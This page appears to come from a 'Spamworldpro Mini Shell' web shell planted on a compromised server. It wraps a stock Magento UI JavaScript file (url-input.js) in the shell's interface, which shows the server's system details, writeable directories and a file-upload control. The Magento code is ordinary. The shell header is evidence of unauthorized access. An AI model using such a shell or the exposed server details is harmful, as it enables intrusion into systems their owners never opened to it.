Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/magento/module-ui/view/base/web/js/form/element/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/magento/module-ui/view/base/web/js/form/element/url-input.js
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */

/**
 * @api
 */
define([
    'underscore',
    'uiLayout',
    'mage/translate',
    'Magento_Ui/js/form/element/abstract'
], function (_, layout, $t, Abstract) {
    'use strict';

    return Abstract.extend({
        defaults: {
            linkedElement: {},
            settingTemplate: 'ui/form/element/urlInput/setting',
            typeSelectorTemplate: 'ui/form/element/urlInput/typeSelector',
            options: [],
            linkedElementInstances: {},
            //checkbox
            isDisplayAdditionalSettings: true,
            settingValue: false,
            settingLabel: $t('Open in new tab'),
            tracks: {
                linkedElement: true
            },
            baseLinkSetting: {
                namePrefix: '${$.name}.',
                dataScopePrefix: '${$.dataScope}.',
                provider: '${$.provider}'
            },
            urlTypes: {},
            listens: {
                settingValue: 'checked',
                disabled: 'hideLinkedElement',
                linkType: 'createChildUrlInputComponent'
            },
            links: {
                linkType: '${$.provider}:${$.dataScope}.type',
                settingValue: '${$.provider}:${$.dataScope}.setting'
            }
        },

        /** @inheritdoc */
        initConfig: function (config) {
            var processedLinkTypes = {},
                baseLinkType = this.constructor.defaults.baseLinkSetting;

            _.each(config.urlTypes, function (linkSettingsArray, linkName) {
                //add link name by link type
                linkSettingsArray.name = baseLinkType.namePrefix + linkName;
                linkSettingsArray.dataScope = baseLinkType.dataScopePrefix + linkName;
                linkSettingsArray.type = linkName;
                linkSettingsArray.disabled = config.disabled;
                linkSettingsArray.visible = config.visible;
                processedLinkTypes[linkName] = {};
                _.extend(processedLinkTypes[linkName], baseLinkType, linkSettingsArray);
            });
            _.extend(this.constructor.defaults.urlTypes, processedLinkTypes);

            this._super();
        },

        /**
         * Initializes observable properties of instance
         *
         * @returns {Abstract} Chainable.
         */
        initObservable: function () {
            this._super()
                .observe('componentTemplate options value linkType settingValue checked isDisplayAdditionalSettings')
                .setOptions();

            return this;
        },

        /**
         * Set options to select based on link types configuration
         *
         * @return {Object}
         */
        setOptions: function () {
            var result = [];

            _.each(this.urlTypes, function (option, key) {
                result.push({
                    value: key,
                    label: option.label,
                    sortOrder: option.sortOrder || 0
                });
            });

            //sort options by sortOrder
            result.sort(function (a, b) {
                return a.sortOrder > b.sortOrder ? 1 : -1;
            });

            this.options(result);

            return this;
        },

        /** @inheritdoc */
        setPreview: function (visible) {
            this.linkedElement().visible(visible);
        },

        /**
         * Initializes observable properties of instance
         *
         * @param {Boolean} disabled
         */
        hideLinkedElement: function (disabled) {
            this.linkedElement().disabled(disabled);
        },

        /** @inheritdoc */
        destroy: function () {
            _.each(this.linkedElementInstances, function (value) {
                value().destroy();
            });
            this._super();
        },

        /**
         * Create child component by value
         *
         * @param {String} value
         * @return void
         */
        createChildUrlInputComponent: function (value) {
            var elementConfig;

            if (!_.isEmpty(value) && _.isUndefined(this.linkedElementInstances[value])) {
                elementConfig = this.urlTypes[value];
                layout([elementConfig]);
                this.linkedElementInstances[value] = this.requestModule(elementConfig.name);
            }
            this.linkedElement = this.linkedElementInstances[value];

        },

        /**
         * Returns linked element to display related field in template
         * @return String
         */
        getLinkedElementName: function () {
            return this.linkedElement;
        },

        /**
         * Add ability to choose check box by clicking on label
         */
        checkboxClick: function () {
            if (!this.disabled()) {
                this.settingValue(!this.settingValue());
            }
        }
    });
});

Spamworldpro Mini